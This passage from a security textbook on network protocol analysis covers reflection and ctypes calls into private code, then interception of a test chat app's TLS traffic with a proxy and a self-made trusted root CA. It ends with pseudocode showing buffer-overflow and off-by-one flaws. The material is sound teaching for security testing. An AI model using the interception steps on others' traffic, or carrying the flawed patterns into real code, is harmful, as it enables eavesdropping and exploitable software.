Invoke() method on MethodInfo, passing the instance of the object to exe-
cute it on and the parameters to pass to the method.

MethodInfo connect_method = type.GetMethod("Connect");
connect_method.Invoke(conn, new object[] { "host.badgers.com" });

Listing 8-14: Executing a method on a Connection object

The simplest form of GetMethod() takes as a parameter the name of the 
method to find, but it will look for only public methods. If instead you want 
to call the private Connect() method to be able to specify an arbitrary TCP 
port, use one of the various overloads of GetMethod(). These overloads take a 
BindingFlags enumeration value, which is a set of flags you can pass to reflec-
tion functions to determine what sort of information you want to look up. 
Table 8-2 shows some important flags.

Table 8-2: Important .NET Reflection Binding Flags

Flag name Description

BindingFlags.Public Look up public members
BindingFlags.NonPublic Look up nonpublic members (internal or private)
BindingFlags.Instance Look up members that can only be used on an instance of 

the class
BindingFlags.Static Look up members that can be accessed statically without an 

instance

To get a MethodInfo for the private method, we can use the overload of 
GetMethod(), as shown in Listing 8-15, which takes a name and the binding 
flags. We’ll need to specify both NonPublic and Instance in the flags because 
we want a nonpublic method that can be called on instances of the type.

MethodInfo connect_method = type.GetMethod("Connect", 
                                   BindingFlags.NonPublic | BindingFlags.Instance);
connect_method.Invoke(conn, new object[] { "host.badgers.com", 9999 });

Listing 8-15: Calling a nonpublic Connect() method

So far so good. Now we need to call the Send() method. Because this 
method is public, we should be able to call the basic GetMethod() method. But 
calling the basic method generates the exception shown in Listing 8-16, indi-
cating an ambiguous match. What’s gone wrong? 

System.Reflection.AmbiguousMatchException: Ambiguous match found.
   at System.RuntimeType.GetMethodImpl(...)
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   at System.Type.GetMethod(String name)
   at Program.Main(String[] args) 

Listing 8-16: An exception thrown for the Send() method

Notice in Listing 8-12 the Connection class has two Send() methods: one 
takes an array of bytes and the other takes a string. Because the reflection 
API doesn’t know which method you want, it doesn’t return a reference to 
either; instead, it just throws an exception. Contrast this with the Connect() 
method, which worked because the binding flags disambiguate the call. If 
you’re looking up a public method with the name Connect(), the reflection 
APIs will not even inspect the nonpublic overload. 

We can get around this error by using yet another overload of GetMethod() 
that specifies exactly the types we want the method to support. We’ll choose 
the method that takes a string, as shown in Listing 8-17.

MethodInfo send_method = type.GetMethod("Send", new Type[] { typeof(string) });
send_method.Invoke(conn, new object[] { "data" });

Listing 8-17: Calling the Send(string) method

Finally, we can call the Receive() method. It’s public, so there are no 
additional overloads and it should be simple. Because Receive() takes no 
parameters, we can either pass an empty array or null to Invoke(). Because 
Invoke() returns an object, we need to cast the return value to a byte array to 
access the bytes directly. Listing 8-18 shows the final implementation.

MethodInfo recv_method = type.GetMethod("Receive");
byte[] packet = (byte[])recv_method.Invoke(conn, null);

Listing 8-18: Calling the Receive() method

Repurposing Code in Java Applications
Java is fairly similar to .NET, so I’ll just focus on the difference between them, 
which is that Java does not have the concept of an assembly. Instead, each 
class is represented by a separate .class file. Although you can combine class 
files into a Java Archive (JAR) file, it is just a convenience feature. For that 
reason, Java does not have internal classes that can only be accessed by other 
classes in the same assembly. However, Java does have a somewhat similar 
feature called package-private scoped classes, which can only be accessed by 
classes in the same package. (.NET refers to packages as a namespace.)

The upshot of this feature is that if you want to access classes marked as 
package scoped, you can write some Java code that defines itself in the same 
package, which can then access the package-scoped classes and members 
at will. For example, Listing 8-19 shows a package-private class that would 
be defined in the library you want to call and a simple bridge class you can 
compile into your own application to create an instance of the class.
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// Package-private (PackageClass.java)
package com.example;

class PackageClass {
    PackageClass() {
    }

    PackageClass(String arg) {
    }

    
    @Override
    public String toString() {
        return "In Package";
    }
}

// Bridge class (BridgeClass.java)
package com.example;

public class BridgeClass {
    public static Object create() {
        return new PackageClass();
    }
}

Listing 8-19: Implementing a bridge class to access a package-private class

You specify the existing class or JAR files by adding their locations to 
the Java classpath, typically by specifying the -classpath parameter to the 
Java compiler or Java runtime executable. 

If you need to call Java classes by reflection, the core Java reflection types 
are very similar to those described in the preceding .NET section: Type in 
.NET is class in Java, MethodInfo is Method, and so on. Table 8-3 contains a short 
list of Java reflection types. 

Table 8-3: Java Reflection Types

Class name Description

java.lang.Class Represents a single class and 
allows access to its members

java.lang.reflect.Method Represents a method in a type
java.lang.reflect.Field Represents a field in a type
java.lang.reflect.Constructor Represents a class’s constructor

You can access a class object by name by calling the Class.forName() 
method. For example, Listing 8-20 shows how we would get the PackageClass.
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Class c = Class.forName("com.example.PackageClass");
System.out.println(c);

Listing 8-20: Getting a class in Java

If we want to create an instance of a public class with a parameter-
less constructor, the Class instance has a newInstance() method. This won’t 
work for our package-private class, so instead we’ll get an instance of the 
Constructor by calling getDeclaredConstructor() on the Class instance. We 
need to pass a list of Class objects to getDeclaredConstructor() to select the 
correct Constructor based on the types of parameters the constructor 
accepts. Listing 8-21 shows how we would choose the constructor, which 
takes a string, and then create a new instance.

Constructor con = c.getDeclaredConstructor(String.class);
 con.setAccessible(true); 

Object obj = con.newInstance("Hello");

Listing 8-21: Creating a new instance from a private constructor

The code in Listing 8-21 should be fairly self-explanatory except per-
haps for the line at . In Java, any nonpublic member, whether a construc-
tor, field, or method, must be set as accessible before you use it. If you don’t 
call setAccessible() with the value true, then calling newInstance() will throw 
an exception.

Unmanaged Executables
Calling arbitrary code in most unmanaged executables is much more dif-
ficult than in managed platforms. Although you can call a pointer to an 
internal function, there’s a reasonable chance that doing so could crash 
your application. However, you can reasonably call the unmanaged imple-
mentation when it’s explicitly exposed through a dynamic library. This sec-
tion offers a brief overview of using the built-in Python library ctypes to call 
an unmanaged library on a Unix-like platform and Microsoft Windows.

N ote   	 There are many complicated scenarios that involve calling into unmanaged code 
using the Python ctypes library, such as passing string values or calling C++ func-
tions. You can find several detailed resources online, but this section should give 
you enough basics to interest you in learning more about how to use Python to call 
unmanaged libraries.

Calling Dynamic Libraries

Linux, macOS, and Windows support dynamic libraries. Linux calls them 
object files (.so), macOS calls them dynamic libraries (.dylib), and Windows 
calls them dynamic link libraries (.dll). The Python ctypes library provides a 
mostly generic way to load all of these libraries into memory and a consistent 
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syntax for defining how to call the exported function. Listing 8-22 shows a 
simple library written in C, which we’ll use as an example throughout the 
rest of the section.

#include <stdio.h>
#include <wchar.h>

void say_hello(void) {
  printf("Hello\n");
}

void say_string(const char* str) {
  printf("%s\n", str);
}

void say_unicode_string(const wchar_t* ustr) {
  printf("%ls\n", ustr);
}

const char* get_hello(void) {
  return "Hello from C";
}

int add_numbers(int a, int b) {
  return a + b;
}

long add_longs(long a, long b) {
  return a + b;
}

void add_numbers_result(int a, int b, int* c) {
  *c = a + b;
}

struct SimpleStruct
{
  const char* str;
  int num;
};

void say_struct(const struct SimpleStruct* s) {
  printf("%s %d\n", s->str, s->num);
}

Listing 8-22: The example C library lib.c

You can compile the code in Listing 8-22 into an appropriate dynamic 
library for the platform you’re testing. For example, on Linux you can com-
pile the library by installing a C compiler, such as GCC, and executing the 
following command in the shell, which will generate a shared library lib.so:

gcc -shared -fPIC -o lib.so lib.c
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Loading a Library with Python

Moving to Python, we can load our library using the ctypes.cdll.LoadLibrary() 
method, which returns an instance of a loaded library with the exported 
functions attached to the instance as named methods. For example, 
Listing 8-23 shows how to call the say_hello() method from the library 
compiled in Listing 8-22.

listing8-23.py		  from ctypes import *

# On Linux
lib = cdll.LoadLibrary("./lib.so")
# On macOS
#lib = cdll.LoadLibrary("lib.dylib")
# On Windows
#lib = cdll.LoadLibrary("lib.dll")
# Or we can do the following on Windows
#lib = cdll.lib

lib.say_hello()
>>> Hello

Listing 8-23: A simple Python example for calling a dynamic library

Note that in order to load the library on Linux, you need to specify 
a path. Linux by default does not include the current directory in the 
library search order, so loading lib.so would fail. That is not the case on 
macOS or on Windows. On Windows, you can simply specify the name of 
the library after cdll and it will automatically add the .dll extension and 
load the library.

Let’s do some exploring. Load Listing 8-23 into a Python shell, for 
example, by running execfile("listing8-23.py"), and you’ll see that Hello 
is returned. Keep the interactive session open for the next section.

Calling More Complicated Functions

It’s easy enough to call a simple method, such as say_hello(), as in 
Listing 8-23. But in this section, we’ll look at how to call slightly more 
complicated functions including unmanaged functions, which take mul-
tiple different arguments.

Wherever possible, ctypes will attempt to determine what parameters 
are passed to the function automatically based on the parameters you pass 
in the Python script. Also, the library will always assume that the return 
type of a method is a C integer. For example, Listing 8-24 shows how to call 
the add_numbers() or say_string() methods along with the expected output 
from the interactive session. 

print lib.add_numbers(1, 2)
>>> 3



198   Chapter 8

lib.say_string("Hello from Python");
>>> Hello from Python

Listing 8-24: Calling simple methods

More complex methods require the use of ctypes data types to explic-
itly specify what types we want to use as defined in the ctypes namespace. 
Table 8-4 shows some of the more common data types.

Table 8-4: Python ctypes and Their Native C Type Equivalent

Python ctypes Native C types

c_char, c_wchar char, wchar_t

c_byte, c_ubyte char, unsigned char

c_short, c_ushort short, unsigned short

c_int, c_uint int, unsigned int

c_long, c_ulong long, unsigned long

c_longlong, c_ulonglong long long, unsigned long long (typically 64 bit)

c_float, c_double float, double

c_char_p, c_wchar_p char*, wchar_t* (NUL terminated strings)
c_void_p void* (generic pointer)

To specify the return type, we can assign a data type to the lib.name 
.restype property. For example, Listing 8-25 shows how to call get_hello(), 
which returns a pointer to a string.

# Before setting return type
print lib.get_hello()
>>> -1686370079

# After setting return type
lib.get_hello.restype = c_char_p
print lib.get_hello()
>>> Hello from C

Listing 8-25: Calling a method that returns a C string

If instead you want to specify the arguments to be passed to a method, 
you can set an array of data types to the argtypes property. For example, 
Listing 8-26 shows how to call add_longs() correctly.

# Before argtypes
lib.add_longs.restype = c_long
print lib.add_longs(0x100000000, 1)
>>> 1

# After argtypes
lib.add_longs.argtypes = [c_long, c_long]
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print lib.add_longs(0x100000000, 1)
>>> 4294967297

Listing 8-26: Specifying argtypes for a method call

To pass a parameter via a pointer, use the byref helper. For example, 
add_numbers_result() returns the value as a pointer to an integer, as shown in 
Listing 8-27.

i = c_int()
lib.add_numbers_result(1, 2, byref(i))
print i.value
>>> 3

Listing 8-27: Calling a method with a reference parameter

Calling a Function with a Structure Parameter

We can define a structure for ctypes by creating a class derived from the 
Structure class and assigning the _fields_ property, and then pass the struc-
ture to the imported method. Listing 8-28 shows how to do this for the 
say_struct() function, which takes a pointer to a structure containing a 
string and a number.

class SimpleStruct(Structure):
  _fields_ = [("str", c_char_p),
              ("num", c_int)]

s = SimpleStruct()
s.str = "Hello from Struct"
s.num = 100
lib.say_struct(byref(s))
>>> Hello from Struct 100

Listing 8-28: Calling a method taking a structure

Calling Functions with Python on Microsoft Windows

In this section, information on calling unmanaged libraries on Windows is 
specific to 32-bit Windows. As discussed in Chapter 6, Windows API calls can 
specify a number of different calling conventions, the most common being 
stdcall and cdecl. By using cdll, all calls assume that the function is cdecl, but 
the property windll defaults instead to stdcall. If a DLL exports both cdecl and 
stdcall methods, you can mix calls through cdll and windll as necessary.

N ote   	 You’ll need to consider more calling scenarios using the Python ctypes library, such as 
how to pass back strings or call C++ functions. You can find many detailed resources 
online, but this section should have given you enough basics to interest you in learn-
ing more about how to use Python to call unmanaged libraries.
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Encryption and Dealing with TLS
Encryption on network protocols can make it difficult for you to perform 
protocol analysis and reimplement the protocol to test for security issues. 
Fortunately, most applications don’t roll their own cryptography. Instead, 
they utilize a version of TLS, as described at the end of Chapter 7. Because 
TLS is a known quantity, we can often remove it from a protocol or reimple-
ment it using standard tools and libraries.

Learning About the Encryption In Use
Perhaps unsurprisingly, SuperFunkyChat has support for a TLS endpoint, 
although you need to configure it by passing the path to a server certificate. 
The binary distribution of SuperFunkyChat comes with a server.pfx for this 
purpose. Restart the ChatServer application with the --server_cert parameter, 
as shown in Listing 8-29, and observe the output to ensure that TLS has been 
enabled.

$ ChatServer  --server_cert ChatServer/server.pfx 
ChatServer (c) 2017 James Forshaw
WARNING: Don't use this for a real chat system!!!
Loaded certificate, Subject=CN=ExampleChatServeru
Running server on port 12345 Global Bind False
Running TLS server on port 12346 Global Bind False 

Listing 8-29: Running ChatServer with a TLS certificate

Two indications in the output of Listing 8-29 show that TLS has been 
enabled. First, the subject name of the server certificate is shown at . 
Second, you can see that TLS server is listening on port 12346 . 

There’s no need to specify the port number when connecting the client 
using TLS with the --tls parameter: the client will automatically increment 
the port number to match. Listing 8-30 shows how when you add the --tls 
command line parameter to the client, it displays basic information about 
the connection to the console.

$ ChatClient -–tls user1 127.0.0.1
Connecting to 127.0.0.1:12346

 TLS Protocol: TLS v1.2 
 TLS KeyEx   : RsaKeyX 
 TLS Cipher  : Aes256 
 TLS Hash    : Sha384 
 Cert Subject: CN=ExampleChatServer 
 Cert Issuer : CN=ExampleChatServer 

Listing 8-30: A normal client connection

In this output, the TLS protocol in use is shown at  as TLS 1.2. We can 
also see the key exchange , cipher , and hash algorithms  negotiated. 
At , we see some information about the server certificate, including the 
name of the Cert Subject, which typically represents the certificate owner. 
The Cert Issuer  is the authority that signed the server’s certificate, and it’s 
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the next certificate in the chain, as described in “Public Key Infrastructure” 
on page 169. In this case, the Cert Subject and Cert Issuer are the same, 
which typically means the certificate is self-signed.

Decrypting the TLS Traffic
A common technique to decrypt the TLS traffic is to actively use a man-in-
the-middle attack on the network traffic so you can decrypt the TLS from 
the client and reencrypt it when sending it to the server. Of course, in the 
middle, you can manipulate and observe the traffic all you like. But aren’t 
man-in-the-middle attacks exactly what TLS is supposed to protect against? 
Yes, but as long as we control the client application sufficiently well, we can 
usually perform this attack for testing purposes.

Adding TLS support to a proxy (and therefore to servers and clients, as 
discussed earlier in this chapter) can be a simple matter of adding a single 
line or two to the proxy script to add a TLS decryption and encryption 
layer. Figure 8-1 shows a simple example of such a proxy.

Client
application

Server
application

TLS

TCP port-forwarding proxy

TLS 
decryption

TLS 
encryption

TLS decryption layer

TCP TCP TLS

Figure 8-1: An example MITM TLS proxy

We can implement the attack shown in Figure 8-1 by replacing the tem-
plate initialization in Listing 8-5 with the code in Listing 8-31.

var template = new FixedProxyTemplate();
// Local port of 4445, destination 127.0.0.1:12346

 template.LocalPort = 4445; 
template.Host = "127.0.0.1";
template.Port = 12346;

var tls = new TlsNetworkLayerFactory();
 template.AddLayer(tls); 

template.AddLayer<Parser>();

Listing 8-31: Adding TLS support to capture a proxy

We make two important changes to the template initialization. At , 
we increment port numbers because the client automatically adds 1 to the 
port when trying to connect over TLS. Then at , we add a TLS network 
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layer to the proxy template. (Be sure to add the TLS layer before the 
parser layer, or the parser layer will try to parse the TLS network traffic, 
which won’t work so well.) 

With the proxy in place, let’s repeat our test with the client from 
Listing 8-31 to see the differences. Listing 8-32 shows the output.

C:\> ChatClient user1 127.0.0.1 --port 4444 -l
Connecting to 127.0.0.1:4445

 TLS Protocol: TLS v1.0 
 TLS KeyEx   : ECDH 

TLS Cipher  : Aes256
TLS Hash    : Sha1
Cert Subject: CN=ExampleChatServer

 Cert Issuer : CN=BrokenCA_PleaseFix 

Listing 8-32: ChatClient connecting through a proxy

Notice some clear changes in Listing 8-32. One is that the TLS protocol 
is now TLS v1.0  instead of TLS v1.2. Another is that the Cipher and Hash 
algorithms differ from those in Listing 8-30, although the key exchange algo-
rithm is using Elliptic Curve Diffie–Hellman (ECDH) for forward secrecy . 
The final change is shown in the Cert Issuer . The proxy libraries will auto-
generate a valid certificate based on the original one from the server, but it 
will be signed with the library’s Certificate Authority (CA) certificate. If a CA 
certificate isn’t configured, one will be generated on first use. 

Forcing TLS 1.2

The changes to the negotiated encryption settings shown in Listing 8-32 
can interfere with your successfully proxying applications because some 
applications will check the version of TLS negotiated. If the client will only 
connect to a TLS 1.2 service, you can force that version by adding this line 
to the script:

tls.Config.ServerProtocol = System.Security.Authentication.SslProtocols.Tls12;

Replacing the Certificate with Our Own

Replacing the certificate chain involves ensuring that the client accepts the 
certificate that you generate as a valid root CA. Run the script in Listing 8-33 
in CANAPE.Cli to generate a new CA certificate, output it and key to a PFX 
file, and output the public certificate in PEM format.

generate_ca		  using System.IO;
_cert.csx		

// Generate a 4096 bit RSA key with SHA512 hash
var ca = CertificateUtils.GenerateCACert("CN=MyTestCA", 
    4096, CertificateHashAlgorithm.Sha512);
// Export to PFX with no password
File.WriteAllBytes("ca.pfx", ca.ExportToPFX());
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// Export public certificate to a PEM file
File.WriteAllText("ca.crt", ca.ExportToPEM());

Listing 8-33: Generating a new root CA certificate for a proxy

On disk, you should now find a ca.pfx file and a ca.crt file. Copy the ca.pfx 
file into the same directory where your proxy script files are located, and add 
the following line before initializing the TLS layer as in Listing 8-31.

CertificateManager.SetRootCert("ca.pfx");

All generated certificates should now use your CA certificate as the root 
certificate. 

You can now import ca.crt as a trusted root for your application. The 
method you use to import the certificate will depend on many factors, for 
example, the type of device the client application is running on (mobile 
devices are typically more difficult to compromise). Then there’s the ques-
tion of where the application’s trusted root is stored. For example, is it in an 
application binary? I’ll show just one example of importing the certificate 
on Microsoft Windows. 

Because it’s common for Windows applications to refer to the system 
trusted root store to get their root CAs, we can import our own certificate 
into this store and SuperFunkyChat will trust it. To do so, first run certmgr.msc 
either from the Run dialog or a command prompt. You should see the appli-
cation window shown in Figure 8-2.

Figure 8-2: The Windows certificate manager
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Choose Trusted Root Certification AuthoritiesCertificates and then 
select ActionAll TasksImport. An import Wizard should appear. Click 
Next and you should see a dialog similar to Figure 8-3.

Figure 8-3: Using the Certificate Import Wizard file import

Enter the path to ca.crt or browse to it and click Next again. 
Next, make sure that Trusted Root Certification Authorities is shown in 

the Certificate Store box (see Figure 8-4) and click Next.

Figure 8-4: The certificate store location

On the final screen, click Finish; you should see the warning dialog box 
shown in Figure 8-5. Obviously, heed its warning, but click Yes all the same.
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N ote   	 Be very careful when importing arbitrary root CA certificates into your trusted root 
store. If someone gains access to your private key, even if you were only planning 
to test a single application, they could man-in-the-middle any TLS connection you 
make. Never install arbitrary certificates on any device you use or care about.

Figure 8-5: A warning about importing a root CA certificate

As long as your application uses the system root store, your TLS proxy 
connection will be trusted. We can test this quickly with SuperFunkyChat 
using --verify with the ChatClient to enable server certificate verification. 
Verification is off by default to allow you to use a self-signed certificate 
for the server. But when you run the client against the proxy server with 
--verify, the connection should fail, and you should see the following 
output:

SSL Policy Errors: RemoteCertificateNameMismatch
Error: The remote certificate is invalid according to the validation procedure.

The problem is that although we added the CA certificate as a trusted 
root, the server name, which is in many cases specified as the subject of the 
certificate, is invalid for the target. As we’re proxying the connection, the 
server hostname is, for example, 127.0.0.1, but the generated certificate is 
based on the original server’s certificate. 

To fix this, add the following lines to specify the subject name for the 
generated certificate:

tls.Config.SpecifyServerCert = true;
tls.Config.ServerCertificateSubject = "CN=127.0.0.1";
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When you retry the client, it should successfully connect to the proxy 
and then on to the real server, and all traffic should be unencrypted inside 
the proxy. 

We can apply the same code changes to the network client and server 
code in Listing 8-6 and Listing 8-8. The framework will take care of ensuring 
that only specific TLS connections are established. (You can even specify TLS 
client certificates in the configuration for use in performing mutual authenti-
cation, but that’s an advanced topic that’s beyond the scope of this book.)

You should now have some ideas about how to man-in-the-middle TLS 
connections. The techniques you’ve learned will enable you to decrypt and 
encrypt the traffic from many applications to perform analysis and security 
testing.

Final Words
This chapter demonstrated some approaches you can take to reimplement 
your application protocol based on the results of either doing on-the-wire 
inspection or reverse engineering the implementation. I’ve only scratched 
the surface of this complex topic—many interesting challenges await you as 
you investigate security issues in network protocols.



9
T he   R oot    C a u ses    o f 

V u lnerabilities           

This chapter describes the common root causes of 
security vulnerabilities that result from the implemen-
tation of a protocol. These causes are distinct from 
vulnerabilities that derive from a protocol’s specifica-
tion (as discussed in Chapter 7). A vulnerability does 
not have to be directly exploitable for it to be con-
sidered a vulnerability. It might weaken the security 
stance of the protocol, making other attacks easier. Or 
it might allow access to more serious vulnerabilities. 

After reading this chapter, you’ll begin to see patterns in protocols that 
will help you identify security vulnerabilities during your analysis. (I won’t 
discuss how to exploit the different classes until Chapter 10.)
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In this chapter, I’ll assume you are investigating the protocol using all 
means available to you, including analyzing the network traffic, reverse 
engineering the application’s binaries, reviewing source code, and manu-
ally testing the client and servers to determine actual vulnerabilities. Some 
vulnerabilities will always be easier to find using techniques such as fuzzing 
(a technique by which network protocol data is mutated to uncover issues) 
whereas others will be easier to find by reviewing code. 

Vulnerability Classes
When you’re dealing with security vulnerabilities, it’s useful to categorize 
them into a set of distinct classes to assess the risk posed by the exploita-
tion of the vulnerability. As an example, consider a vulnerability that, when 
exploited, allows an attack to compromise the system an application is run-
ning on. 

Remote Code Execution
Remote code execution is a catchall term for any vulnerability that allows an 
attacker to run arbitrary code in the context of the application that imple-
ments the protocol. This could occur through hijacking the logic of the 
application or influencing the command line of subprocesses created dur-
ing normal operation. 

Remote code execution vulnerabilities are usually the most security 
critical because they allow an attacker to compromise the system on which 
the application is executing. Such a compromise would provide the attacker 
with access to anything the application can access and might even allow the 
hosting network to be compromised. 

Denial-of-Service
Applications are generally designed to provide a service. If a vulnerability 
exists that when exploited causes an application to crash or become unre-
sponsive, an attacker can use that vulnerability to deny legitimate users 
access to a particular application and the service it provides. Commonly 
referred to as a denial-of-service vulnerability, it requires few resources, some-
times as little as a single network packet, to bring down the entire applica-
tion. Without a doubt, this can be quite detrimental in the wrong hands. 

We can categorize denial-of-service vulnerabilities as either persistent or 
nonpersistent. A persistent vulnerability permanently prevents legitimate users 
from accessing the service (at least until an administrator corrects the issue). 
The reason is that exploiting the vulnerability corrupts some stored state that 
ensures the application crashes when it’s restarted. A nonpersistent vulner-
ability lasts only as long as an attacker is sending data to cause the denial-of-
service condition. Usually, if the application is allowed to restart on its own or 
given sufficient time, service will be restored. 
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Information Disclosure
Many applications are black boxes, which in normal operation provide you 
with only certain information over the network. An information disclosure 
vulnerability exists if there is a way to get an application to provide infor-
mation it wasn’t originally designed to provide, such as the contents of 
memory, filesystem paths, or authentication credentials. Such information 
might be directly useful to an attacker because it could aid further exploita-
tion. For example, the information could disclose the location of important 
in-memory structures that could help in remote code execution. 

Authentication Bypass
Many applications require users to supply authentication credentials to 
access an application completely. Valid credentials might be a username 
and password or a more complex verification, like a cryptographically 
secure exchange. Authentication limits access to resources, but it can also 
reduce an application’s attack surface when an attacker is unauthenticated. 

An authentication bypass vulnerability exists in an application if there is 
a way to authenticate to the application without providing all the authen-
tication credentials. Such vulnerabilities might be as simple as an applica-
tion incorrectly checking a password—for example, because it compares a 
simple checksum of the password, which is easy to brute force. Or vulner-
abilities could be due to more complex issues, such as SQL injection (dis-
cussed later in “SQL Injection” on page 228). 

Authorization Bypass
Not all users are created equal. Applications may support different types of 
users, such as read-only, low-privilege, or administrator, through the same 
interface. If an application provides access to resources like files, it might 
need to restrict access based on authentication. To allow access to secured 
resources, an authorization process must be built in to determine which 
rights and resources have been assigned to a user.

An authorization bypass vulnerability occurs when an attacker can gain 
extra rights or access to resources they are not privileged to access. For 
example, an attacker might change the authenticated user or user privi-
leges directly, or a protocol might not correctly check user permissions. 

note    	 Don’t confuse authorization bypass with authentication bypass vulnerabilities. 
The major difference between the two is that an authentication bypass allows you 
to authenticate as a specific user from the system’s point of view; an authorization 
bypass allows an attacker to access a resource from an incorrect authentication state 
(which might in fact be unauthenticated). 

Having defined the vulnerability classes, let’s look at their causes in more 
detail and explore some of the protocol structures in which you’ll find them. 
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Each type of root cause contains a list of the possible vulnerability classes that 
it might lead to. Although this is not an exhaustive list, I cover those you are 
most likely to encounter regularly.

Memory Corruption Vulnerabilities
If you’ve done any analysis, memory corruption is most likely the primary 
security vulnerability you’ll have encountered. Applications store their cur-
rent state in memory, and if that memory can be corrupted in a controlled 
way, the result can cause any class of security vulnerability. Such vulner-
abilities can simply cause an application to crash (resulting in a denial-of-
service condition) or be more dangerous, such as allowing an attacker to 
run executable code on the target system. 

Memory-Safe vs. Memory-Unsafe Programming Languages
Memory corruption vulnerabilities are heavily dependent on the pro-
gramming language the application was developed in. When it comes to 
memory corruption, the biggest difference between languages is tied to 
whether a language (and its hosting environment) is memory safe or memory 
unsafe. Memory-safe languages, such as Java, C#, Python, and Ruby, do not 
normally require the developer to deal with low-level memory manage-
ment. They sometimes provide libraries or constructs to perform unsafe 
operations (such as C#’s unsafe keyword). But using these libraries or con-
structs requires developers to make their use explicit, which allows that 
use to be audited for safety. Memory-safe languages will also commonly 
perform bounds checking for in-memory buffer access to prevent out-of-
bounds reads and writes. Just because a language is memory safe doesn’t 
mean it’s completely immune to memory corruption. However, corruption 
is more likely to be a bug in the language runtime than a mistake by the 
original developer.

On the other hand, memory-unsafe languages, such as C and C++, 
perform very little memory access verification and lack robust mechanisms 
for automatically managing memory. As a result, many types of memory 
corruption can occur. How exploitable these vulnerabilities are depends 
on the operating system, the compiler used, and how the application is 
structured. 

Memory corruption is one of the oldest and best known root causes of 
vulnerabilities; therefore, considerable effort has been made to eliminate it. 
(I’ll discuss some of the mitigation strategies in more depth in Chapter 10 
when I detail how you might exploit these vulnerabilities.)

Memory Buffer Overflows 
Perhaps the best known memory corruption vulnerability is a buffer overflow. 
This vulnerability occurs when an application tries to put more data into a 
region of memory than that region was designed to hold. Buffer overflows 



The Root Causes of Vulnerabilities   211

may be exploited to get arbitrary programs to run or to bypass security 
restrictions, such as user access controls. Figure 9-1 shows a simple buf-
fer overflow caused by input data that is too large for the allocated buffer, 
resulting in memory corruption.

0 0 0 0 0

Allocated buffer

? ? ? ?

'A' 'A' 'A' 'A' 'A' 'A' 'A' 'A'

Input buffer

Corruption

Figure 9-1: Buffer overflow memory corruption

Buffer overflows can occur for either of two reasons: Commonly referred 
to as a fixed-length buffer overflow, an application incorrectly assumes the input 
buffer will fit into the allocated buffer. A variable-length buffer overflow occurs 
because the size of the allocated buffer is incorrectly calculated. 

Fixed-Length Buffer Overflows

By far, the simplest buffer overflow occurs when an application incorrectly 
checks the length of an external data value relative to a fixed-length buffer 
in memory. That buffer might reside on the stack, be allocated on a heap, 
or exist as a global buffer defined at compile time. The key is that the mem-
ory length is determined prior to knowledge of the actual data length.

The cause of the overflow depends on the application, but it can be 
as simple as the application not checking length at all or checking length 
incorrectly. Listing 9-1 is an example.

def read_string()
{

  u byte str[32];
  int i  = 0;

  do
  {

     v str[i] = read_byte();
     i = i + 1;
  }

  w while(str[i-1] != 0);
  printf("Read String: %s\n", str);
}

Listing 9-1: A simple fixed-length buffer overflow

This code first allocates the buffer where it will store the string (on the 
stack) and allocates 32 bytes of data u. Next, it goes into a loop that reads a 
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byte from the network and stores it an incrementing index in the buffer v. 
The loop exits when the last byte read from the network is equal to zero, 
which indicates that the value has been sent w. 

In this case, the developer has made a mistake: the loop doesn’t verify 
the current length at w and therefore reads as much data as available 
from the network, leading to memory corruption. Of course, this problem 
is due to the fact that unsafe programming languages do not perform 
bounds checks on arrays. This vulnerability might be very simple to exploit 
if no compiler mitigations are in place, such as stack cookies to detect the 
corruption. 

Even if a developer performs a length check, that check may not be done 
correctly. Without automatic bounds checking on array access, it is up to the 
developer to verify all reads and writes. Listing 9-2 shows a corrected version 
of Listing 9-1 that takes into account strings that are longer than the buffer 
size. Still, even with the fix, a vulnerability is lurking in the code.

def read_string_fixed()
{

  u byte str[32];
  int i = 0;

Unsa  f e S tring   F unctions 

The C programming language does not define a string type. Instead, it uses 
memory pointers to a list of char types. The end of the string is indicated by a 
zero-value character. This isn’t a security problem directly. However, when the 
built-in libraries to manipulate strings were developed, safety was not consid-
ered. Consequently, many of these string functions are very dangerous to use in 
a security-critical application.

To understand how dangerous these functions can be, let’s look at an 
example using strcpy, the function that copies strings. This function takes only 
two arguments: a pointer to the source string and a pointer to the destination 
memory buffer to store the copy. Notice that nothing indicates the length of the 
destination memory buffer. And as you’ve already seen, a memory-unsafe lan-
guage like C doesn’t keep track of buffer sizes. If a programmer tries to copy a 
string that is longer than the destination buffer, especially if it’s from an external 
untrusted source, memory corruption will occur. 

More recent C compilers and standardizations of the language have added 
more secure versions of these functions, such as strcpy_s, which adds a destina-
tion length argument. But if an application uses an older string function, such as 
strcpy, strcat, or sprintf, then there’s a good chance of a serious memory cor-
ruption vulnerability.  
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  do
  {

    v str[i] = read_byte(); 
    i = i + 1;
  }

  w while((str[i-1] != 0) && (i < 32));

  /* Ensure zero terminated if we ended because of length */
  x str[i] = 0;

  printf("Read String: %s\n", str);
}

Listing 9-2: An off-by-one buffer overflow

As in Listing 9-1, at u and v, the code allocates a fixed-stack buffer 
and reads the string in a loop. The first difference is at w. The developer 
has added a check to make sure to exit the loop if it has already read 32 
bytes, the maximum the stack buffer can hold. Unfortunately, to ensure 
that the string buffer is suitably terminated, a zero byte is written to the last 
position available in the buffer x. At this point, i has the value of 32. But 
because languages like C start buffer indexing from 0, this actually means it 
will write 0 to the 33rd element of the buffer, thereby causing corruption, as 
shown in Figure 9-2.

0 0 . . . 0 0

Allocated buffer

? ? ?

str[0] str[30] str[32]

Figure 9-2: An off-by-one error memory corruption

This results in an off-by-one error (due to the shift in index position), a 
common error in memory-unsafe languages with zero-based buffer index-
ing. If the overwritten value is important—for example, if it is the return 
address for the function—this vulnerability can be exploitable.

Variable-Length Buffer Overflows

An application doesn’t have to use fixed-length buffers to stored protocol 
data. In most situations, it’s possible for the application to allocate a buf-
fer of the correct size for the data being stored. However, if the application 
incorrectly calculates the buffer size, a variable-length buffer overflow can 
occur. 

As the length of the buffer is calculated at runtime based on the length 
of the protocol data, you might think a variable-length buffer overflow is 
unlikely to be a real-world vulnerability. But this vulnerability can still occur 
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in a number of ways. For one, an application might simply incorrectly cal-
culate the buffer length. (Applications should be rigorously tested prior to 
being made generally available, but that’s not always the case.) 

A bigger issue occurs if the calculation induces undefined behavior by 
the language or platform. For example, Listing 9-3 demonstrates a common 
way in which the length calculation is incorrect.

def read_uint32_array()
{
  uint32 len;
  uint32[] buf;

  // Read the number of words from the network
u   len = read_uint32();

  // Allocate memory buffer
v   buf = malloc(len * sizeof(uint32));

  // Read values
  for(uint32 i = 0; i < len; ++i)
  {

w     buf[i] = read_uint32();
  }
  printf("Read in %d uint32 values\n", len);
}

Listing 9-3: An incorrect allocation length calculation

